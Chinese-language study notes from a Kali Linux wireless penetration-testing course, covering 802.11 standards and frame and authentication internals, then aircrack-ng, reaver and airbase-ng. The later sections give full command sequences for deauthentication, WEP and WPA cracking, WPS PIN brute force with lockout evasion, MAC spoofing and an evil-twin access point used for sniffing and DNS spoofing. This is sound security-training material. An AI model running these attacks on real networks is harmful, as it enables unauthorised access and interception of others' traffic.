笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程,以及文章:
https://blog.csdn.net/qq_38265137/article/details/80370554
https://blog.csdn.net/lee244868149/article/details/52691266
根据美国通信委员会(FCC,Federal Communications Commission)网络安全工作组在一份白皮书中的表述,常见的无线通信技术可以分为移动通信、WWAN、WLAN、WPAN,如图1所示。这里只介绍WLAN中IEEE 802.11相关部分。
图1 常见无线通信技术分类
IEEE 802又称为LMSC(LAN/MAN Standards Committee,局域网/城域网标准委员会),用于研究局域网和城域网的物理层和MAC层中定义的服务和协议,对应OSI网络参考模型的最低两层(即物理层和数据链路层)。部分IEEE 802标准如图2所示:
图2 IEEE 802标准
IEEE 802.11是1997年802委员会下第11组开发的无线局域网标准,定义了无线数据包的 物理层和链路层 ,也是802.11协议族的第一个标准,其物理层定义了工作在2.4GHz的ISM频段上的直接序列扩频(DSSS)、跳频扩频(FHSS)和一种红外线传输的方式(未实现),链路层采用CSMA/CA协议,最高速率2Mbps,随后发展的协议为其改进版本,常用的一些802.11标准如图3所示:
图3 常见802.11标准
1.802.11b
采用补码键控(CCK),速率5.5或11Mbps,在2.4GHz频段划分14个重叠的信道(每个国家有所不同,美国11个,欧洲13个,日本14个),如图4所示,只有三个不重叠信道,最常用的是1、6、11,每个信道22MHz带宽,注意信道的使用情况与具体的调制方式相关,并不是信道重叠就一定会影响信息传输。Wi-Fi是802.11b产品的注册商标,严格来说只针对符合802.11b标准的产品。
图4 802.11b信道使用情况
2.802.11a
工作在5GHz,其中5.15-5.35GHz用于室内,5.7-5.8 GHz用于室外,每个信道20MHz带宽,采用正交频分复用调制(OFDM),注意此时信道间有重叠,但满足频域正交,其信息是互不干扰的,也正因此其速率可以达到54Mbps。2.4GHz频段干扰源多(微薄、蓝牙、无绳电话等),5GHz有更多带宽空间,可容纳更多不重叠信道。
3.802.11g
工作在2.4GHz频段,每个信道20/22MHz带宽,采用OFDM调制,与802.11a速率相同,可全局降速向后兼容802.11b,并切换为CCK信号调制方法。
4.802.11n
双频工作模式,工作在2.4GHz或5GHz频段,每个信道20/40MHz,全面兼容802.11a/b/g,通过帧聚合和块确认技术改善MAC层开销及拥塞状况,采用多进多出天线技术(MIMO),极大增加了传输的可靠性,扩大了吞吐量,同时结合OFDM技术,最大可达600Mbps。
5.802.11ac
工作在5GHz频段,采用更高的带宽(提升至160MHz)、更多的MIMO空间流、更高阶的调制(达到 256QAM),以及多用户MU-MIMO技术(802.11ac wave2开始采用),进一步提高效率和可靠性,全面兼容旧版本协议,提供更高的吞吐量、更多的用户接入能力、更少的干扰,802.11ac wave2最大可支持3.47Gbps。
至少包含一个AP和一个STATION,形成Basic Service Set (BSS),AP连接到有线网络,称为Distribution System (DS),DS采用以太网标准(IEEE 802.3),连接到同一个DS的多个AP形成一个Extended Service Set (ESS)。由AP维护SSID,每秒钟通过Beacon帧广播约10次SSID,客户端连接到无线网络后也会宣告SSID。
图5 Infrastructure网络拓扑
也被称为Independent Basic Service Set (IBSS),有至少两个STATION直接通信组成,也成为Peer to Peer模式,其中一个STATION负责AP工作:广播SSID,并对其他STA进行身份验证。这种拓扑结构比较适合小规模、小范围的WLAN系统组网。
图6 AD-HOC网络拓扑
通过无线形式连接的多个AP组成的网络为WDS,STA之间通信的消息必须通过AP转发,而不是直接发送。AP之间通信有桥接(Bridging)和中继(Repeating)两种方式,桥接会出现两个单独的SSID,即使SSID设置成一样,还是会显示出多个,其本质是连接两个或者多个不同的网络,而中继不管连多少个网桥,SSID只有一个,其本质是扩大一个网络的覆盖范围。
图7 WDS网络拓扑
Mesh网络AP之间通过无线连接,节点部署简便迅速,Mesh是一个对等网络,如果某个节点发生故障,报文信息会通过其他备用路径传送到目的节点。AP可以根据需要随时加入或离开网络,这使得网络更加灵活。Mesh网络中,只有Portal节点需要接入到有线网络,对有线的依赖程度被降到了最低。
如图8所示,MESH节点包括:
图8 MESH网络拓扑
注:实际使用中大多数无线网络都是结合了一种或多种不同拓扑结构的混合体。
虚拟机不能桥接使用物理机的无线网卡(会将无线网卡识别为以太网卡),必须使用外置网卡。无线网卡的选择是无线渗透成败的关键,必须谨慎选择。无线渗透网卡没有所谓的标准,网卡选择参考Aircrack-ng官网有关兼容性(compatibility)的说明文档。无线网卡选择需要注意:
无线网卡品牌有两种,一个是无线网卡的品牌,如TP-LINK、D-Link、Tenda、Netgear、Linksys等,另一个是无线网卡内置芯片品牌,如Realtek、Ralink、Atheros、 Qualcomm、Broadcom等,要根据无线网卡 内置芯片的品牌和具体型号 来决定适配个人需求的无线网卡以及相应的驱动。对于已经使用的产品,可以通过以下方式确定品牌及型号:
systeminfo
查看系统信息dmesg
、lsusb
、iwconfig
查看网卡信息(1) 关于MONITOR MODE
(2) 查询网卡的兼容性:
(2) 下载安装网卡驱动:
不同厂商的无线网卡开启监听模式有所差异,具体还要参阅相关文档资料。 我开始使用的是RTL8812AU,它就仅支持将wlan0设置为monitor,不支持新建interface wlan0mon然后设置成monitor。
iwconfig # 查看无线网卡信息
iw list # 查看无线网卡信息、技术支持情况,非常详细
iw dev wlan2 scan # 扫描无线信号,列出详细参数信息
iw dev wlan2 scan | egrep 'SSID | Channel' # 查找SSID以及其占用的信道
systemctl stop network-manger # 无线网卡monitor模式可能与network-manager服务冲突,关闭network-manager服务
ip link set wlan0 up # 打开网卡
iw dev wlan0 interface add wlan0mon type monitor # 添加网卡侦听端口wlan2mon并设置为monitor模式,必须命名为wlanxmon形式
ip link set wlan0mon up # 打开侦听端口,然后就可以利用tcpdump、wireshark等抓包工具通过wlan0mon进行抓包分析
iw dev wlan0mon interface del # 删除无线网卡
ip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up
802.11ׁ依赖Radiotap完成通信,Radiotap为802.11帧传递额外信息,已成为802.11帧通信事实上的标准,系统在驱动和API中内建支持Radiotap。
Radiotap Header结构如下:
Version | Pad | Length | Present |
---|---|---|---|
8bit | 8bit | 16bit | 32bit |
用wireshark抓包分析Radiotap Header,如图9所示,Present部分Flags、Rate、Channel、dBm Antenna Signal、Antenna、RX flags掩码为1,其对应的信息跟在Present后边。
图9 Radiotap Header抓包分析
802.11帧结构如图10所示:
图10 802.11帧结构
其中Header中的Frame control包含了帧的重要信息,每个字段含义如下:图11 ToDs/FromDs与Address对应关系
用于通知设备开始、停止传输或连接失败等情况,控制帧类型如下所示:
图12 控制帧类型
用于协商、控制STA和AP之间的关系,管理帧类型如下所示:
图13 管理帧类型
用于传输通信数据、服务质量控制数据等,数据帧类型如下所示:
图14 数据帧类型
认证过程中包含WEP、WPA/WPA2两类加密方案,如下所示:
WEP身份认证的前提是STA和AP都有配置静态的WEP秘钥,认证的目的就是确认两者使用的秘钥是否一致。WEP加密方案中STA和AP建立关系的完整过程为:
① AP定期发送Beacon,使STA更新自己的无线网络列表
② STA在每个信道广播Probe Request(非隐藏类型含ESSID,隐藏类型不含ESSID)
③ 每个信道的AP回应Probe Response,包含ESSID信息
④ STA发送Authentication Request给AP
⑤ AP回复STA Acknowledge,其中包含了Challenge随机数(明文)
⑥ STA使用Keystream和Challenge抑或加密,并用Authentication Request发送给AP
⑦ AP对Challenge进行解密,如果解密的明文一致则表示认证成功并回复Acknowledge
⑧ STA给AP发送关联请求Association Request
⑨ AP给无线终端发送关联响应Association Response
⑩ 完成认证,进行加密通信
图15 WEP密钥交换过程
WEP使用RC4算法加密流量内容,CRC32算法检查数据完整性,使用24bit初始向量IV。加密过程如图16所示:
图16 WEP加密流程
IV是动态生成的24bit随机数初始向量,它和WEP key结合生成随机种子seed (64/128bits, IV+WEP key)然后运用RC4算法生成秘钥流Keystream;另一边,对需要加密的明文进行CRC-32运算,生成 ICV(32位),然后将这个 ICV 追加到 plaintext的后面,将尾部有 ICV的plaintext 与Keystream进行异或运算,得到加密数据,将 IV 添加到加密数据的前面,进行传送。RC4是对称加密算法,解密是加密逆运算过程。WEP安全性差,可以在短时间内将其破解,已被淘汰。
WPA1 / WPA2是802.11i组为提高无线安全,开发的两个新的加密方案,WPA1在安全性能上较WEP已有巨大的提,WPA2进一步提高了安全性能,两个版本差别主要在于加密套件不同。
区分1:WPA1 WPA2
WPA1:802.11i第三版草案,采用TKIP加密套件,使用128位Key和48位IV,RC4加密算法,采用帧计数器避免重放攻击,MIC作为完整性校验,兼容早期版本硬件。
WPA2:802.11i完全重新设计实现,采用CCMP加密套件,使用AES加密算法,不兼容早期版本硬件。
区分2:WPA企业 WPA个人
图17 802.1X认证标准
WPA加密方案中STA和AP建立关系的完整过程为:
① AP定期发送Beacon,使STA更新自己的无线网络列表
② STA在每个信道广播Probe Request(非隐藏类型含ESSID,隐藏类型不含ESSID)
③ 每个信道的AP回应Probe Response,包含ESSID信息
④ STA给目标AP发送身份认证Authentication,Authentication类型有两种,0为开放式(无密码、WPA/WPA2)、1为共享式(WEP)
⑤ AP回复STA Acknowledge
⑥ STA给AP发送关联请求Association Request
⑦ AP给无线终端发送关联响应Association Response
⑧ 通过EAPOL协议四次握手密钥交换(破解的关键)
⑨ 完成认证,进行加密通信
图18 WPA密钥交换过程
图19 WPA密钥交换过程抓包
① AP发送随机数Anonce给STA,STA生成Snonce,根据ESSID、PSK生成PMK,然后由PMK、Anonce、Snonce、MAC信息计算出PTK;注:Authentication包中的Authentication SEQ
和WPA四次握手包中的Message number
都是序列,但意义不同。
无线渗透和审计神器,包含各种功能的工具套件,主要是网络检测、嗅探抓包、包注入和密码破解。
开启网卡监听模式
airmon-ng check # 检查网卡驱动,显示一些可能影响监听模式网卡工作的进程
arimon-ng check kill # 杀死可能影响监听模式网卡工作的进程
airmon-ng start wlan0 # 将wlan0置入监听模式,和之前iw命令作用一样
嗅探抓包,默认在各个无线信道轮询抓包,也可以指定信道
airodump-ng wlan0 # 使监听模式的网卡开始嗅探抓包
airodump-ng wlan0 -c 1 --bssid e4:d3:df:ff -w file.cap # -c:指定嗅探的信道,--bssid:指定AP的MAC地址
airodump抓包数据如下所示:
图19 Airodump-ng监听数据
第一列是AP的信息,其中MB表示AP支持的最大速率,#Data表示嗅探的数帧数量,#/s表示最近10秒内,每秒平均抓到的帧的数量,ESSID如果被隐藏则只会显示长度;
第二列是STA的信息,其中BSSID是关联AP的MAC地址,(not associated)表示未与AP关联的STA,但是STA发送的probe包被抓到,Lost判断最近10秒STA发送丢失的数据包数量,Probes是STA发送probe包中的信息。
向无线网络中注入数据包,注意命令中的
aireplay-ng -9 wlan0
# 检测包注入环境
aireplay-ng -9 -e myWiFi -a EC:29:0F:FF:D5:E4
# 指定检测ESSID和AP MAC地址的注入环境
aireplay-ng -i Ap_wlan1 wlan0
# 双网卡环境下做card to card测试1-9攻击包是否能正常发送
aireplay-ng -0 2 -a <AP_MAC> -c <STA_MAC> wlan0
# 发送2个伪造STA发给AP的Deauthenticate包
伪造AP接入点,诱使STA接入,可以获取身份验证握手包。
airmon-ng check kill
iw dev wlan0 set type monitor
# 注意这里必须用iw命令将wlan0置于monitor模式
# 否则会报错出现:“write failed: Message too long,wi_write(): Message too long”
airbase-ng --essid CMCC -c 11 wlan0
# 伪造开放AP
airbase-ng --essid CMCC -c 11 wlan0 -Z 2
airbase-ng --essid CMCC -c 11 wlan0 -Z 4
# 伪造AP
# -Z 2:表示WPA2加密,TKIP加密套件
# -Z 4:表示WPA2加密,CCMP加密套件
无线抓包帧头为802.11,其网络层、传输层、应用层数据是加密状态,如果提取到了无线密码,则可以利用airdecap-ng去掉802.11头,还原被无线加密的上层数据。
airdecap-ng -b <AP MAC> 1.pcap
# 去除802.11头
airdecap-ng -w <WEP key> -b <AP MAC> 1.pcap
# 解密WEP加密数据
# 必须有与AP建立关联关系
airdecap-ng -e <ESSID> -p <PSK> -b <AP MAC> 1.pcap
# 解密WPA加密数据
# 抓包文件中必须包含4步握手信息
通过网络提供无线网卡服务器,使远程主机可以利用本地无线网卡监听本地WLAN数据。
# 服务器端
airserv-ng -p 3333 -d wlan0
# 客户端
airodump-ng <SERVER_IP>:3333
注意:
1.某些网卡可能不支持客户端/服务器(C/S)模式
2.远程进行连接时注意边界防火墙的过滤
创建无线隧道,主要实现无线IDS和中继/重放功能:
(1)无线IDS (wIDS)
对无线流量可以交给IDS实时解包分析,或者先保存抓包文件,后续交给IDS再重放进行分析。
airtun-ng -a <AP MAC> -w <WEP key> wlan0
# 建立隧道,侦听WEP加密的无线数据
airtun-ng -a <AP MAC> -p <PSK> -e <ESSID> wlan0
# 建立隧道,侦听WPA加密的无线数据
ip link set at0 up
# 建立隧道后会建立侦听接口at0,开启at0
# 接收到握手信息后才会正常抓取无线解密的数据包
# 利用at0抓包后交给IDS实时分析,或抓包保存后续再重放进行分析
# 理论上支持多AP的wIDS,但2个以上时可靠性会下降
(2)中继/重放 (Repeate/Replay)
① Repeate:扩大无线信号覆盖范围,需要两块无线网卡置入监听模式,网卡之间桥接,网卡1接收到的数据包通过网卡2发送
arimon-ng start wlan0
airmon-ng start wlan1
airtun-ng -a <AP Source MAC> --repeat --bssid <AP Source MAC> -i wlan0
wlan1
# -a :发包的源地址
# --bssid :过滤只转发指定源地址的包
# wlan0:收包网卡
# wlan1:发包网卡
② Replay:将抓取的CAP文件重放到制定网卡,只需要一个网卡
airtun-ng -a <AP Source MAC> -r 1.cap <interface>
(1)Fern WiFi Cracker
集成Aircrack-ng、Reaver等工具,完全图形化操作界面。注意在运行Fern WiFi Cracker之前要使用airmon-ng check kill
杀掉可能影响网卡切换监听模式的进程。
(2)Kismet
基于浏览器/服务器(B/S)架构,网页操作界面,结合GPS模块,可以将收集的无线数据导入谷歌地球等地图软件中,结合地图显示无线信息。
注:图形界面会消耗一定系统资源,对无线扫描和破解性能会造成一定影响。
思路: airodump侦听数据包,发现正常建立连接的设备,复制其MAC地址,作为伪造的MAC地址,就可以绕过MAC地址过滤,但是这种方法会有丢包,因为局域网中MAC地址有重复
airmon-ng stop wlan0
ip link set wlan0 down
macchanger -m 12:34:56:78 wlan0
# 将网卡wlan0的MAC地址修改为12:34:56:78
ip link set wlan0 up
思路:WEP认证过程中会传递Challenge明文和密文,两者抑或即可得出Keystream,利用Keystream可以和AP建立连接,然后重放大量ARP包,以嗅探IV(64位建议抓取25W以上,128位建议抓取150W以上,以airodump-ng界面的#Data计数),只要IV数量足够多就可以百分百分析出共享密钥。
第一阶段:获取Keystream,Keystream获取后在airodump界面有所显示
airmon-ng start wlan0
aireplay-ng -0 2 -a 12:34:56:78 -c A1:B2:C3:D4 wlan0
# 伪造STA(A1:B2:C3:D4)发给AP(12:34:56:78)的Deauthenticate
# 以让STA和AP通过Authentication重新认证,以此提高获取Keystream的效率
# 获取到的Keystream文件后缀为.xor
第二阶段:通过Keystream与AP建立连接
aireplay-ng -1 60 -e myWiFi -y wep-12-56-FF-AB-32-B6-DB.xor -a 12:34:56:78 -h AA:BB:CC:DD
# 利用抓取到的Keystream文件伪造Authentication,使攻击者STA(MAC:AA:BB:CC:DD)与AP(12:34:56:78)建立连接,每60秒发一个keep alive包
第三阶段:重放ARP Request,获取大量IV,破解密钥
aireplay-ng -3 -b 12:34:56:78 -h AA:BB:CC:DD wlan0
# 重放ARP请求,只有当捕获到合法APR Request和Response时才会不断重放
aireplay-ng -0 2 -a 12:34:56:78 -c A1:B2:C3:D4 wlan0
# 使STA和AP通过Deauthentication重新认证,以重新进行ARP请求
# 这样会使aireplay捕获到合法ARP,ARP中有IV,作为破解分析的凭证
aircrack-ng wep-01.cap
# 利用嗅探的数据包破解共享密钥
针对WAP个人,只有一种破解方法——基于字典的暴力破解
思路一:在AP和STA已建立连接的环境中,抓包获取密钥交换四步握手信息,使用字典暴力破解
使用尽可能多的过滤规则对目标AP进行抓包
airodump-ng --bssid 12:34:56:78 -c 1 wlan0 -w wpa-01.cap
aireplay-ng -0 2 -a 12:34:56:78 -c A1:B2:C3:D4 wlan0
当抓到密钥交换四步握手后,会出现WPA handshake,如下所示:
图20 嗅探WPA四步握手包
最后进行密码爆破,成功与否取决于字典质量和运行速度
aircrack-ng -w /usr/share/wordlist/rockyou.list wpa-01.cap
思路二:在只有STA存在的环境中,利用其发的Probe Request中的信息,伪造AP,抓包获取密钥交换四步握手信息,最后使用字典暴力破解
airmon-ng check kill
iw dev wlan0 set type monitor
airbase-ng --essid CMCC -c 11 wlan0 -Z 2
airbase-ng --essid CMCC -c 11 wlan0 -Z 4
# 伪造AP
# -Z 2:表示WPA2加密,TKIP加密套件
# -Z 4:表示WPA2加密,CCMP加密套件
airodump-ng --bssid 12:34:56:78 -c 11 wlan0 -w wpa-02.cap
aireplay-ng -0 2 -a 12:34:56:78 -c A1:B2:C3:D4 wlan0
aircrack-ng -w /usr/share/wordlist/rockyou.list wpa-02.cap
WPA破解过程中更为重要的是提高密码破解效率,可以利用其他工具如:
/etc/john/john.conf
中配置规则,如在[List.Rules:Wordlist]规则末尾加上$[0-9]$[0-9]$[0-9]$[0-9],表示在已有字典中符号末尾添加4位0-9的数字。john --wordlist=pass.list --rules --stdout | aircrack-ng -e myWiFi -w - wpa.cap
# - 表示管道符号前的标准输出
WPS是WiFi联盟2006年开发的一项技术,通过PIN码简化无线接入的过程,无需输入复杂的密码,路由器和网卡各安一个按钮就能接入无线,PIN码是分为前后各4位的2段,共8位数字,在身份验证过程中两段相对独立。其安全性能存在较大隐患:
身份验证过程中,STA可以根据AP返回信息判断前4位是否正确,而后4位中,最后一位是checksum,所以爆破PIN码只需要11000次尝试;
很多厂家的无线路由器无法关闭WPS功能,即便在Web配置界面关闭,一般也不会生效;
WPS标准本身没有设计锁定机制,但出于安全考虑,大多数厂商已设定锁定机制,或者不支持WPS;
PIN码破解难度较低,防御困难,可以利用PIN码一次性提取PSK。
思路:使用扫描工具发现支持WPS的AP,然后使用工具直接爆破。
爆破时注意限速,绕过锁定机制,一旦触发锁定,可尝试耗尽AP连接数,令其重启并解除WPS锁定。
发现支持WPS的AP
airodump-ng wlan0 --wps
爆破PIN码
reaver -i wlan0 -b 12:34:56:78 -c 11 -vv
# 爆破PIN码,然后爆破PSK
reaver -i wlan0 -b 12:34:56:78 -vv -p 88888888
# -p:指定PIN码,爆破PSK
利用综合工具:Wifite
Wifite是一款自动化无线密码破解工具,调用aircrack-ng、pyrit、reaver、tshark等工具对无线网络进行审计,全自动化过程,傻瓜式操作。使用wifite命令后进入信号扫描界面,找到AP目标后ctrl+c
停止扫描,输入AP目标的序号,然后Wifite自动调用工具进行破解,其会先用WPS破解,如果破解失败则会采用WPA或WEP方式进行破解,整个过程完全自动化完成。
思路:配置双网卡,网卡1伪造AP,网卡2连接真实网络,同时设置双网卡为桥接状态,诱使目标接入伪造AP,然后使用工具对网卡1进行嗅探或DNS欺骗等攻击。
airbase-ng -a <AP MAC> --essid “CMCC-Free” -c 11 wlan0
# 用wlan0创建名为“CMCC-Free”的AP,新建的网卡接口默认为at0
# MAC地址指定为,与真实AP相同可提高伪造AP的隐蔽性
apt-get install bridge-utils
# 下载桥接工具套件
brctl addbr bridge
# 创建网桥
brctl addif bridge eth0
# 配置网桥一端接口为eth0
brctl addif bridge at0
# 配置网桥另一端接口为wlan0
ip add del <IP_ADDR_ETH0> dev eth0
ip addr del <IP_ADDR_AT0> dev at0
# 将eth0和at0现有IP删除
# 作为桥接网卡成员不能有IP地址
ip link set eth0 up
ip link set at0 up
ip addr add IP_<IP_ADDR_ETH0> dev bridge
ip link set bridge up
# 分配给网桥bridge IP地址
ip route add default via <GW_IP>
# 添加网关IP
echo 1 > /proc/sys/net/ipv4/ip_forward
# 开启IP转发功能
然后可以利用tcpdump、wireshark等抓包工具嗅探at0接口,或者使用dnsspoof等工具进行域名欺骗等攻击